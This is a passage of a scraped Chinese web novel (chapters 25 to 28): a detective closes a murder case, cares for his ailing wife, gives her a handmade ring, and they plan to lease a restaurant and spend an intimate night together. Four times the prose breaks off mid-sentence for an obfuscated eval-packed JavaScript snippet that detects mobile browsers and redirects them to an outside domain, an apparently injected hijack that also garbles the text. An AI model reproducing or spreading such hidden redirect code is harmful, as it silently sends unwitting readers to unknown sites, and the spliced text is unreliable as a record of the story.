忙了几天终于结案了,可一直都是开心小狗的赵无双却沉默了。他说当刑警的时间越长,他就觉得越看不清人性了。 邓回还以为自己听错了,他揽过赵无双的肩膀说道:“就你这脑容量还是别思考人性了,不如想想晚上吃什么更靠谱。” “我是认真的。”赵无双把邓回的手扒拉掉:“你们知道苗颖的遗体是谁带走的吗?” 邓回摇头,“不是说她父母不来了吗?” “是吴茂福。”赵无双真觉得自己的三观被重塑了:“苗颖的遗物,就是那些衣服啊首饰什么的,本来就都是吴茂福买的,就想着交给他,可吴茂福把这些东西全都以苗颖的名义捐了,自己还填了两千块钱,他说也许这样会有人能记得苗颖。他还给钱清买了东西,说是感谢她对苗颖的照顾,还感谢了孙大虎,说谢谢他提供了高强的线索。” “还给咱们送了面锦旗。”赵无双指了指周庆军的办公室:“已经挂在周局屋里了。” 陈远洲:“正常,人性本来就是复杂的。” 赵无双托腮望天:“口口声声说爱你要离婚娶你的男人杀你,本以为虚情假意又花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544651|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心的大哥厚葬你,这都是什么事啊!” 姜越想了想,问道:“你们说,苗颖到底是喜欢高强呢?还是喜欢吴茂福呢?” 屋子里一时陷入了沉默,最后谭立新说道:“她喜欢谁是她的自由,但这都不能成为她被伤害的理由。” 快下班的时候陈远洲在训练场边上找到林寻一,他坐在林寻一旁边,给他递了根烟。 “陈队。”林寻一接过烟,他从案子结了之后就一直没说话。 两个大男人一句话也没说的抽完一根烟。 陈远洲起身拍了拍裤子上的灰,“走了,回家吃饭了。” “陈队。”林寻一叫住他,“你在审讯室里跟高强说的话我记住了。” 陈远洲笑了一下,什么也没说的走了。他前脚刚走,谭立新也找了过来。他知道林寻一心思重,但是男人之间有时候又不需要说太多:“今晚跟我回家吃,让你师娘做两个菜,咱爷俩喝点。” “额......还是算了吧。”林寻一觉得薛艳做的菜能少吃还是少吃。 “臭小子!”谭立新笑着照着林寻一后脑勺轻拍了一巴掌。 “回家陪陪我妈。”林寻一经常板着一张脸,很少像现在这样笑得像个小孩子。 赵无双一直鬼鬼祟祟的在大门口潜伏着,一看到陈远洲的身影后立马扑了过来,“哥,晚上去你家吃饭呗!让嫂子做汆白肉,正好案子破了咱们庆祝一下。” 陈远洲把人扒拉开:“你庆祝为啥让我媳妇做饭?” 赵无双说的理所当然:“因为我没媳妇啊!” “滚蛋!”陈远洲着急回家,他都好几天没好好跟媳妇吃顿饭了,怎么可能带个电灯泡回家。 赵无双站在原地,看着陈远洲的背影悲伤的大喊:“哥,我的好哥哥,你真不打算带我回家吗?” 身后目睹这一些的谭立新怼了怼身旁的林寻一,“你没事跟人家小赵好好学学,每天嘻嘻哈哈的多快乐,别老是一副苦大仇深的模样。人家比你来的还晚呢,可人际关系这一块可比你搞的明白多了。” 谭立新刚说完,赵无双嘴里喊着“汆白肉我来了”抬腿就跑了,浑身散发的傻气直接把林寻一崩个跟头。 林寻一一脸嫌弃道:“跟他学?下辈子吧。” 陈远洲回家的时候见客厅里没人就去了卧室,一进去就看到徐秀竹蜷缩着身体躺在床上,额头上都是汗。 “怎么了?”陈远洲赶紧过去摸了摸她额头,并没有发烧。 徐秀竹捂着肚子,一张小脸惨白惨白的,有气无力道:“没事,就是......来例假了,肚子疼。” 陈远洲摸了摸徐秀竹的手和脚,发现冰凉后赶紧去烧热水,他把热水灌进盐水瓶里,外面包上了毛巾,让徐秀竹抱着,又在她脚边放了两个,然后盖好被子。 “每次都这样吗?”陈远洲热乎乎的手掌轻轻揉着徐秀竹的肚子。 徐秀竹疼的没什么力气,“就前两天比较疼,第三天能好一些。” 徐秀竹十四岁那年冬天第一次来例假,赵春梅不上心,她年纪小也不明白,依旧用凉水洗衣服,还要挑水劈柴。后来渐渐明白了些,例假期间就尽量避着凉水,可赵春梅又骂她矫情事多,时间一长就落了毛病。徐秀竹的例假一向不准时,有时候三四个月才来一次,而且每次来都要把她折腾够呛。 “晚上想吃什么,我去做。”陈远洲见她疼的厉害:“要不还是去医院看看吧?” 徐秀竹扯了扯嘴角,“哪有因为这个去医院的,那还不叫人笑话,你就给我煮碗热汤面,再卧一个荷包蛋,我吃了就好了。” “那你先躺着。”陈远洲替她掖了掖被子。 没一会儿徐秀竹就听见了关门声,她迷迷糊糊的也没在意。不知道过了多久,陈远洲端了碗红糖姜水又回到卧室。 26. 第26章 第26章 陈远洲把徐秀竹扶了起来,让她靠在自己怀里。 红糖姜水还有点热,徐秀竹鼓着脸吹了一会儿,陈远洲从侧面看过去,觉得那她的脸有点像动画片里的人物。 然后他就伸出手指轻轻戳了戳。 徐秀竹歪着头看了看陈远洲,虽然不理解他,但还是笑了笑。 喝完红糖姜水,徐秀竹感觉身上热乎乎的,人也有了些精神。她问陈远洲今天怎么回来的这么早,是不是案子破了。 “嗯。”陈远洲接过碗,指腹蹭了蹭她嘴边残留的红糖水,“人抓到了。” “是......高老师?”徐秀竹也不知道这涉不涉及保密,试探性的问道。 “是他。” 徐秀竹有些惊讶的张了张嘴,一时也不知道说什么,最后只念叨了一句:“他看着也不像坏人啊,对人还特别客气。”不过她一想到自己和杀人凶手面对面的说了好几句话,还是觉得后怕。 另一边吴凯和郑悦欣也知道了这事。吴凯回来说学校安排了其他老师接替高强,他也不用再帮忙代课。 郑悦欣虽然和高强不是一个年级组的,教授的科目也不一样,可毕竟在一个学校这么多年,彼此也都熟悉,她更是震惊高强竟然是杀人犯。 吴凯一边洗菜一边说道:“老高也真是糊涂啊!”再一看郑悦欣已经把围裙系上了,又说道:“晚饭我做吧。” 郑悦欣最近做饭做的正来劲,自然不肯,她说她要多练习练习,还说她前两天回家给她爸妈露了一手,直接把俩人感动的直掉眼泪。 “说不定我真是个做饭天才呢。”郑悦欣有些得意。 吴凯笑着说道:“那天才大人还有其他指示吗?” 郑悦欣挺起胸膛摆了摆手:“你先退下吧。” 吴凯笑呵呵地替她挽好袖子,郑悦欣说她再练习几次,等下个周末去看吴桐爷爷奶奶的时候,就可以展示一下厨艺了。 陈远洲按照徐秀竹说的煮了热汤面,吃面的时候徐秀竹也是给足了情绪价值,都快把陈远洲夸上了天。 “真有这么好吃?”陈远洲又给自己盛了一碗,他觉得就是很正常的一碗面啊。 吃饱喝足的徐秀竹靠在椅子上看着陈远洲,慢悠悠的说道:“面的味道可以打八十分,但是煮面的人是一百分。” 陈远洲听了这话嘴角都有些压不住了,故意说道:“满分不会是一万分吧?” “错。”徐秀竹伸出食指在陈远洲面前晃了晃,然后弯着眼睛笑道:“满分是十分。” 陈远洲盯着徐秀竹看了几秒,随后也学着她的样子,弯着眼睛笑了起来。 徐秀竹还从没见过这样的陈远洲,她有些惊奇道:“你这样笑显得好年轻啊!” “显年轻?”陈远洲精准捕捉到敏感词,“显?” 徐秀竹立马改口道:“你本来就很年轻!” 陈远洲有些无奈的看了她一眼,随后收拾了碗筷。 李航因为他十七分的数学测试被老师叫了家长,王冬玲下了班又要去学校听老师上课,回来的路上本就憋了一肚子气,李航偏又停在了徐秀竹家门口。 王冬玲耐着性子警告道:“李航我告诉你,你今天要是再敢给我扒门缝要饭的话,我一定会把你的屁股打开花。” 李航站在徐秀竹家门口吸了吸鼻子,然后直接上了楼,边走边说道:“今天指定不是我婶儿做饭,这味道不对。” 王冬玲紧跟上李航的脚步,还不忘数落道:“你的脑子要是有你的鼻子那么灵,老娘就谢天谢地了!” 晚上临睡前陈远洲和徐秀竹躺在床上聊天,徐秀竹的脸色还是不太好看,手和脚都是凉的。陈远洲说他明天休息,要带徐秀竹去医院检查一下。 徐秀竹觉得没必要去医院,她这么多年一直都是这么过来的。 “听话。”陈远洲抓过徐秀竹的左手,下一秒徐秀竹感觉其中一根手指被什么东西套住了。 她举起左手在灯光下看了看,发现无名指上竟戴着一枚金戒指。 徐秀竹有些惊喜的看了眼陈远洲,然后仔细看了看戒指。 简单的锤纹泥鳅背的款式,可细看就能发现那纹路全是竹叶的形状。 “是竹叶!”徐秀竹亮晶晶的眼睛里充满欣喜,“是我的名字。” 陈远洲被徐秀竹的笑容感染,他握着徐秀竹的手也看了看那戒指,“做的有些粗糙了。” “这是你自己做的呀?”徐秀竹深吸了口气。 陈远洲被徐秀竹炙热的目光盯得有些不好意思了。他这双手拿刀拿枪都行,可唯独作不来精细活,戒指上那些竹叶纹路比他带兵打仗还要难。 “你怎么知道我戴多大的戒指?”徐秀竹也没发现陈远洲量过她的手指,关键是尺寸还正合适。 陈远洲挑了挑眉,故意拖着腔调,语气也有点欠儿:“你总是摸我的手,我自然就知道了。” “谁总摸你的手了?”徐秀竹皱着小眉毛,“明明是你摸我的手。” 陈远洲觉得徐秀竹较真儿时候的小表情特有意思。 “陈远洲,我好喜欢哦!”徐秀竹不错眼的盯着手上的戒指。 “喜欢戒指还是喜欢我?”陈远洲把人往怀里带了带。 徐秀竹在听清陈远洲的问题后耳朵倏的红了。她偏过头去,小声嘟囔了一句:“你怎么这么肉麻。” 陈远洲亲了一下徐秀竹红透的耳朵,徐秀竹被他突然靠近的气息搅的心跳加速,不自觉的缩了缩脖子。 房间内充满暧昧的气氛,徐秀竹敏锐的感觉到陈远洲身体的变化,她紧闭着眼睛缩在那里,一动也不敢动。 陈远洲闭着眼睛努力让自己冷静下来,片刻后起身说道:“我去冲个澡。” 直到听见关门声后徐秀竹才敢睁开眼睛,她心想,如果她今天不是特殊情况的话,那她和陈远洲是不是就...... 第二天吃早饭的时候,陈远洲注意到徐秀竹并没有戴戒指。徐秀竹的解释是她平常要干活,戒指会被磨损,实在可惜了,还说她已经把戒指包在手绢里收好了。 “可是你不戴戒指,别人就不知道你已经结婚了。”陈远洲装的有些哀伤:“你一定是对我们的婚姻不满意吧?” 徐秀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14559202|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹也不知道陈远洲是怎么把“不戴戒指”和“对婚姻不满意”联系到一起的,可她就是见不得陈远洲那落寞的表情,于是赶紧回到卧室,拉开抽屉,打开铁盒,拿出纸盒,又掏出手绢,最后戴上了戒指,然后在陈远洲面前晃了晃左手。 “瞅瞅,我对咱俩的婚姻那是相当滴满意了!”徐秀竹这段时间东北话有进步,她拿腔拿调的样子着实可爱到了陈远洲。 最后徐秀竹还是没拗过陈远洲,跟着他去了中医院。路上的时候徐秀竹还惦记着给陈远洲买辆自行车,这样他上下班也方便。可陈远洲不太喜欢骑自行车,他觉得单位离家也不远,他走路快,用不上十分钟就到了。 二人到了中医院后先去挂了号,接诊的是位头发花白的阿姨。徐秀竹排队的时候听大家议论,说这位何大夫特别厉害,祖辈都是学医的。 徐秀竹忽然有点紧张了。她长这么大基本没去过医院,赵春梅常念叨,小病不用治,大病治不了,她甚至觉得还挺有道理。 陈远洲见她一直不说话,就宽慰道:“不会有事的,就是来看看图个心安。” 半个小时后轮到了徐秀竹,何大夫号完脉后问了徐秀竹的年龄,是否结婚,又问了她第一次来月经的时间,每次的天数,月经的颜色等等,徐秀竹一一作答后,何大夫又问了二人同房的频率。 “还没......同过房。”徐秀竹支支吾吾道。 何大夫听完看向了陈远洲。她觉得这小伙子一看就是身体强壮气血方刚的样子,那怎么会结了婚还没同过房呢?难道有什么难言之隐? 于是何大夫直言道:“小伙子,需不需要我给你把个脉?” 还没等陈远洲说话,徐秀竹直接把他拉到身边坐下,“那谢谢大夫了。” 陈远洲有些无奈的看了看徐秀竹,然后很听话的让何大夫把了脉。 “脉搏强劲有力,很健康。”片刻,何大夫笑呵呵道。 徐秀竹听后也乐了,然后小心翼翼问道:“大夫,那我呢?” 何大夫说道:“你体寒很严重,平时又不注意保养,趁现在年轻再不好好调理的话,很容易导致不孕不育。” 不孕不育......徐秀竹听完整个人都呆住了。 何大夫怕徐秀竹有心理压力,就说她现在还很年轻,正是调理的好时候,而且她从医多年这种情况见多了,没什么大问题。 可徐秀竹这会儿已经什么都听不进去了,满脑子都是“不孕不育”四个大字。 她心想这之前还巴巴的替陈远洲担心呢,怕陈远洲不行,可现在确诊了,不行的人是她。 何大夫给徐秀竹开了半个月的药,并告诉她怎么熬药以及需要忌口的食物,半个月之后再来复查。 一直回到了家里徐秀竹还是浑浑噩噩的,陈远洲捏了捏她的脸,她这才回过神看了陈远洲一眼。 “怎么了?跟丢了魂似的。”陈远洲的语气听起来还很轻松:“大夫说你只需要调理调理就行。” 徐秀竹就这么愣愣的看着陈远洲,看着看着忽然哇的一声大哭起来。 “陈远洲,不行的人原来是我啊!” 27. 第27章 第27章 徐秀竹这几天一直在喝中药,中药太苦,她每次喝的时候都要下好大决心,憋着气,一口气闷掉。 她因为这件事最近心情一直不太好,陈远洲想起他们来滨城之前,在大客车上徐秀竹跟他说过的,嫌小孩太麻烦的事。 “不是嫌小孩麻烦吗?”陈远洲一边搓着衣服一边问道。 “领口这里要仔细搓一搓。”徐秀竹坐在小板凳上指挥,听到陈远洲的话后说道:“我那不是以为你那啥嘛,我怕你心里有负担,所以才故意这么说的。” 陈远洲抬头看了看她,“那实际呢?” “我其实还挺喜欢小孩的。”徐秀竹想了想:“我小时候过得不太好,我那个时候就想不明白,为什么会有父母对自己的孩子这样,后来知道我不是家里亲生的,我就说服自己是因为没有血缘关系的原因,我就想啊,如果我有了自己的小孩,我一定会好好爱她,虽然我是第一次做妈妈,可我已经当过小孩子了,我知道他们最需要什么。” 徐秀竹一口气讲完后才反应过来哪里不对劲,这么堂而皇之讨论生小孩的事,是不是不太好啊? “那我们要抓紧时间了。”陈远洲力气大,衣服洗完他直接拧了个半干。 “抓紧什么时间?”徐秀竹拍了拍陈远洲的手,让他不要那么大力气拧衣服,很容易把衣服拧变形。 陈远洲稍稍松了些力气:“抓紧时间当爸爸妈妈。” 徐秀竹抬头望天,她就不该提这个话题。 陈远洲趁着休息把家里的衣服和床单被罩都洗了,他觉得还是应该买台洗衣机,跟徐秀竹提了之后,徐秀竹觉得一台友谊牌的洗衣机就要四百多,实在太贵了。 陈远洲本来还想提议买台电视,这样徐秀竹无聊的时候也可以解解闷,可他估计徐秀竹也不能同意。 他这个小媳妇确实如她所说的那样,很会管钱呢。 薛艳下班之后来找徐秀竹,陈远洲正扎着围裙做饭,二人就在客厅里说话。 “你家陈远洲还会做饭呢。”薛艳看了看厨房的方向。 徐秀竹笑了笑,豪不吝啬夸赞的说道:“做的还不错呢。” 薛艳点点头,她说两口子过日子就得这样互帮互助,男主外女主内的说法已经过时了,谁规定洗衣做饭家务活就是女人的事? 厨房了还熬着徐秀竹的中药,薛艳闻道一股药味,连忙问道:“谁有病了?好大一股中药味。” 徐秀竹说是自己调理身体,可她也确实把薛艳当姐姐了,就把去看中医的事跟她说了。 见她满面愁容的,薛艳便开解了她几句,“那个何大夫我知道,水平可高了,她都说问题不大那就没事,再说你这点小岁数怕什么,慢慢调理呗,正好趁着现在没孩儿没爪的,多享受二人世界。” 薛艳还说她刚结婚那会儿就特别着急要小孩,她和谭立新的速度倒是快,可怀孕的时候没觉得怎么样,等到谭松一出生就全变样了,生活一下子进入到一种无序状态。 因为两边老人没法帮忙照看孩子,谭立新的工作又忙,薛艳出了月子就一直自己带孩子。谭松小时候能吃能拉,一晚上要醒好几次,黑白颠倒的日子让薛艳感觉都要神经衰弱了。 后来还是谭立新做主,早早就让谭松断了奶,这样他晚上再饿谭立新就可以给他冲奶粉冲米糊,也省得再折腾好不容易睡着的薛艳。 “但是不知道孩子断奶早会不会影响智商,我就觉得我家小松不太聪明。”薛艳说道。 “哪有,我可没觉得。”徐秀竹觉得谭松那双眼睛就透着机灵劲。 薛艳伸出一根手指头比划道:“语文都能考个位数,我都怀疑他是不是中国人。” 一提到谭松的学习成绩薛艳就上不来气,眼瞅着话题聊跑偏了,她赶忙说道:“你之前托我留意门店的事,现在正好有个合适的。” 薛艳说她认识一个开小饭馆的,老板打算把店面兑出去,领着全家去南方发展。 “你也知道那家,就是你刚来滨城的时候,我领你吃汆白肉那家。”薛艳提醒道。 徐秀竹想起来了,他家的菜还挺好吃的。 薛艳:“你明天要是有时间我带你去看看,那老板我也熟悉,人很实在。” 徐秀竹立马答应,她确实挺着急,没有门店实在太不方便了。 “那我一会跟他说一声,明天上午九点,就在他家饭馆见面。” 薛艳说完就要走,徐秀竹留她吃完饭也不肯。 陈远洲从厨房里出来的时候薛艳已经的风风火火地走了,他说这两口子还都是急脾气。 吃饭的时候徐秀竹跟陈远洲提到明天要去看店面的事,她说那家饭馆的地理位置好,店面也宽敞,所以价格肯定不能便宜。 陈远洲说明天陪她去,徐秀竹连说不用,她自己可以,再说还有薛艳陪着呢。 “我老婆真是太能干了。”陈远洲给她夹了块鱼肉:“什么时候能给我个表现机会呢。” 徐秀竹看着鱼肉上的鱼刺都被挑干净了,于是笑眯眯的说道:“现在你就有个表现的机会。”说完她指了指盘子里的鱼,“这鱼炖的太好吃了,你快把鱼刺都挑干净,我要多吃点。” 第二天上午不到九点徐秀竹就到了“有福饭馆”,老板李有福已经早早等在那了。 李有福今年三十六岁,长得胖乎乎的,很有亲和力。他说他跟薛艳和谭立新都是老朋友了,还提到当年要不是谭立新救了他一命,那他现在就在下面给阎王爷炒菜呢。 薛艳听了直咧嘴:“你这说的也太夸张了。” 她跟徐秀竹说了一下跟李有福是怎么认识的,就是几年前李有福刚从银行取了点钱准备做点小生意,结果被人盯上了。那人拿了把特显眼的西瓜刀,正巧被路过执行任务的谭立新撞见了,直接就把人扣了。 李有福送过钱送过东西感谢谭立新,谭立新都没收,结果这李有福也是个实在人,非要认谭立新当大哥,两家也就是从那时候开始走动的。 薛艳给李有福介绍了一下徐秀竹,“这位是我妹妹,之前还领她来你这吃过饭,都是自家人,咱就有啥说啥,不搞那些弯弯绕绕,但指定不能让你赔了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573113|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “都听嫂子的!”李有福憨笑着摸了摸后脑勺。 徐秀竹在饭馆里四处转了转,前厅,后厨都看了一遍,李有福是个干净利索的人,厨房收拾的干干净净,桌子也擦得一尘不染。 她当时在这吃饭的时候就挺喜欢这个店面的,四四方方的格局,窗明几净的,在这样的环境里吃饭心情也好。 李有福这个店铺当时是他买的,以徐秀竹目前的积蓄买下来肯定是不可能,只能租。李有福说这都好商量,有薛艳在中间牵线,他对徐秀竹特别放心,就算房租先欠着都可以。他开出的房租价格也很公道,月付年付都可以。 “店里这些桌椅板凳,还有厨房里的厨具餐具,包括电冰箱,你要是想留着的话,就按折旧价给你,你要是不要我就都处理掉,保证在你进店之前收拾干净。”李有福说的很实在。 徐秀竹租店铺原本是打算做面点,这些桌椅板凳倒不一定能用上,可李有福的饭馆开了有两年了,店铺位置好,又积累了一批顾客,要是能借此继续把饭馆开下去,客源倒是不用愁。 只是这样一来她一个人肯定是干不了的,投入也会加大。 徐秀竹也是个干脆的人,她说这个店面她一定租,至于桌椅板凳,厨具餐具这些东西,她也让李有福估个价,等她回家和家里人商量一下,明天给他答复。 一直到下班点陈远洲也没回来,徐秀竹估计他单位里又有急事,就没等他吃晚饭。 正吃着饭,她听见有人敲门,一开门就看见外面站着郝行。 “你从家回来了?”徐秀竹把人让进屋里,见他拖着沉重的步伐,问道:“这才几天没见,你这咋一脸沧桑的。” 郝行这几天在家里可以说是备受折磨。他妈给他安排了好几轮相亲,他从早相到晚,感觉比他熬夜搞创作都累。 徐秀竹给他拿了副碗筷,问道:“那你相到合适的人了吗?” 郝行耸了耸肩,大口扒拉着碗里的饭:“全都没感觉。” “是不是你太挑剔了。”已婚人士徐秀竹觉得自己还挺有发言权的:“两个人合不合适也要看相处的,哪有见个面,吃顿饭就觉得不合适的。” 理想主义郝行有自己的恋爱观,“我想找的是那种第一眼就能让我心动的人。” 徐秀竹撇撇嘴:“那你不就是喜欢长得漂亮的。” 郝行反驳道:“感觉,我看中的是感觉。” “我感觉你有点癫。”徐秀竹和郝行已经混熟了,说话也开始直来直去。 陈远洲晚上七点多才回来,问她店面看的怎么样。徐秀竹说挺满意的,房租也很合理。 “那挺好。”陈远洲坐在沙发上。他今天带人抓了一伙偷自行车的小偷,本以为就是简单的盗窃,谁知道一审竟然还牵扯出一桩命案。 徐秀竹很有眼力见的凑过去给他锤着肩膀,陈远洲一把按住她的手,回头看了眼,问道:“你还有别的事?” “什么都瞒不过你。”徐秀竹慢吞吞的挪过来,坐到陈远洲身边,一脸认真的看着他说道:“陈远洲,我打算干票大的。” 28. 第28章 第28章 徐秀竹原本只是想有个门店可以方便做面点,毕竟她的徐氏面点销量还不错。可今天去了李有福的饭馆,她忽然改变主意了。 她想用李有福的门店继续开饭馆,一边卖炒菜,一边卖面点。只是这样一来不仅投入大大增加了,她还需要人手帮忙,肯定要用到陈远洲的钱,所以她想征求一下陈远洲的意见。 陈远洲自然是同意的,徐秀竹很高兴,她说她先借用一下家里的钱,算陈远洲投资,等赚了钱就给他分红。 陈远洲很不喜欢徐秀竹跟他分的这么清。他上辈子亲人缘薄,穿越之后虽然有了一大家子亲人,可那都不是他能选择的。在他心里,徐秀竹不仅是他的妻子,更是他主动选择的家人。 他两辈子都是从部队里出来的,从前他的生活里只有战友和兄弟,如今多了徐秀竹,他其实并不知道该如何和徐秀竹相处,甚至可以说他并不知道该怎么对徐秀竹好,他所能做的也完全是出于本能而已。 但陈远洲可以确定的是,他希望徐秀竹可以放心的信任他,依靠他,不要跟他分的那么清楚,什么你的我的,他不喜欢听这些。 相处的时间越久陈远洲越能理解梁喜枝跟他说的话,她说徐秀竹虽然总是一副温温和和的样子,但其实很有态度,做事特别刚。这一点其实从徐秀竹主动找他结婚,再到义无反顾的离开家也能看出来。 陈远洲就是心里没底,他总觉得如果哪天自己有什么地方做的不够好,让徐秀竹不高兴了,不满意了,徐秀竹随时会离开他,让他这辈子都找不到。 一想到这陈远洲就觉得心里没底,那种不安感是他这两辈子都不曾有过的感觉。 陈远洲想永远把徐秀竹留在身边。 他忽然就有了一个卑鄙的想法。 徐秀竹得到了陈远洲的支持,立马掏出了小算盘开始算账。灯光下她神色柔和,目光坚定,心里装的都是对未来的期待。 “秀竹,帮个忙。” 卫生间里忽然传来陈远洲的声音。 “来啦!”徐秀竹踩着拖鞋哒哒哒的走过来。 陈远洲打开卫生间的门,把手里的搓澡巾递给她,说道:“后背的刺青你还得搓搓。” “哦,好。”这些日子徐秀竹已经搓习惯了。 陈远洲后背的刺青颜色已经淡了许多,但依旧能看出朱雀的形态。徐秀竹边搓边说道:“这个颜料可真厉害,这么久了居然还不掉。” 徐秀竹搓了一会儿觉得差不多,再搓下去她怕陈远洲的皮肤受不了。她把搓澡巾还给陈远洲,正准备出去,被陈远洲一把拉住。 “还有什么需要帮忙的吗?”卫生间里水汽氤氲,徐秀竹看不太清陈远洲的表情。 “有。”陈远洲喉结一滚,下一秒吻住了徐秀竹的嘴唇。 徐秀竹被陈远洲这突如其来的举动吓了一跳,她举起双手呈投降状,一双杏眼瞪得溜圆,眨也不敢眨,更别说喘气了。 之前陈远洲也总是亲徐秀竹,但也仅限于蜻蜓点水,陈远洲逐渐加深的吻让徐秀竹感觉到了他今晚的不一样。 眼瞅着不敢呼吸的徐秀竹就要被自己憋晕了,陈远洲这才稍稍放开她的唇,低声道:“呼吸。” 徐秀竹被陈远洲亲的迷迷糊糊的,腿也有点软,她条件反射的抓住陈远洲的胳膊,陈远洲一只手揽着她的腰,一只手抓住她的手,让她环住自己的腰。 下一秒陈远洲直接打横把徐秀竹抱了起来,身体突然腾空,徐秀竹一下子恢复了理智,两只手忙不迭的圈住陈远洲的脖颈。 陈远洲把徐秀竹抱回了卧室,轻轻放在了床上。徐秀竹的脸红的像煮熟的虾,她已经预感到接下来要发生什么。 “你......”徐秀竹看着赤/裸着上身的陈远洲,半天憋出这么一个字,迷迷糊糊的表情很是可爱。 陈远洲双手撑在床上,靠了过去,在距离她几公分的位置停下,声音里带着笑意:“我怎么?” “你......你身材挺好的。”徐秀竹咽了咽口水,咧了咧嘴,笑容有些傻气。 “那你要不要摸一摸?”陈远洲的声音里带着蛊惑,听得徐秀竹的眼睛又瞪大了几分。 徐秀竹的内心在呐喊,这是可以说出来的吗! 可转念一想,陈远洲都敢说出口了,她有啥不敢摸的? 一生要强的徐秀竹偷偷深吸了几口气,她听着自己狂跳的心脏强装镇定,心想可不能让陈远洲小瞧了! 徐秀竹的目光在陈远洲身上流转。她今晚穿了件淡紫色的碎花睡衣,柔和的灯光下衬得整个人格外温柔。因为长相显小的原因,明明是一张稍显稚嫩的少女面庞,偏偏眉眼之间又多了几分妩媚,看得陈远洲心神摇曳。 “那我就......不客气了?”都这个时候了徐秀竹还挺有礼貌,她试探的伸出手指,在陈远洲结实的胸膛上戳了戳。 徐秀竹的指尖微凉,和陈远洲炙热的皮肤形成反差。陈远洲不动声色的弓了弓背,眼底潮涌翻滚,比窗外的夜色还要深沉几分,可他依旧耐着性子引导着徐秀竹,将她的手缓缓移到了腹部。 漂亮的八块腹肌吸引了徐秀竹的视线,她先是一根手指试探性的点了点,然后抬眼看了看陈远洲。 陈远洲这些日子的头发长了些,刚刚洗过澡头发还在滴水,徐秀竹就看到有颗水珠从他锁骨处一路蔓延下来,眼看要落在床上,徐秀竹鬼使神差的伸手接了一下。 水珠落在她掌心,她把手伸到陈远洲眼前,弯起了嘴角,声音软软的呢喃道:“接住了。” 陈远洲低头亲了亲她的掌心。 徐秀竹呼吸微微一滞,她轻轻闭上眼睛,片刻后又睁开,然后伸手环住陈远洲的脖子。 陈远洲的气息有些急促,体内翻滚的炙热再也无法压制,他低头吻住了徐秀竹,和卫生间那个稍微带着试探性的亲吻不同,此时的陈远洲攻城略地,徐秀竹的身体微微颤栗,像只柔软的小猫,只能依附着他。 窗外月色旖旎,室内春光无限,丁香花甜甜的香气透过窗户的缝隙飘散进来,惹人沉醉。 ...... 一向习惯早起的徐秀竹第二天破天荒的睡到日晒三竿,她看了眼墙上的时钟,已经九点多了。 陈远洲去上班了,床上只有她一个人。她坐起身,捶了捶酸胀的腰,脑海里都是昨天晚上的画面。 徐秀竹面红耳赤的抓起被子遮住了脸。 多亏陈远洲已经走了,不然她还真有点不知道该怎么面对他。 身下的床单是昨晚陈远洲换的,徐秀竹那时已经累极,不得不感叹陈远洲旺盛的精力,因为他不仅能换床单,还有力气帮她擦拭清理。 徐秀竹被陈远洲搂着,一夜无梦睡得踏实,就连陈远洲什么时候起来的都不知道。 想着今天还要去答复李有福,徐秀竹也不能再赖床,只是从卧室到卫生间这几步路她都走得颤颤巍巍的,心里不免埋怨了陈远洲几句。 而罪魁祸首陈远洲则是神清气爽的到了单位,就连一向神经大条的赵无双都发现了他的不一样。 “哥,你昨晚一定睡得很好。”赵无双打了个哈欠。他昨晚审了一宿偷车贼,偏偏这几个家伙嘴硬的很,死活就是不肯承认杀人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582707|154630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,还编了个怨鬼索命,真当他的脑袋里装的是浆糊吗? 陈远洲笑了笑,“确实睡得不错。”说完他翻了一下昨晚的审讯记录,眉头微皱:“怨鬼索命?” “对啊,那个王强说的有鼻子有眼的,连怨鬼长什么模样都说出来了。”赵无双又打了个哈欠:“要真是鬼还能让他看见长啥样?” “我知道了。”陈远洲拍了拍赵无双的肩膀,“你先回去休息吧。”然后他叫上了刚进来的林寻一,一起去了审讯室。 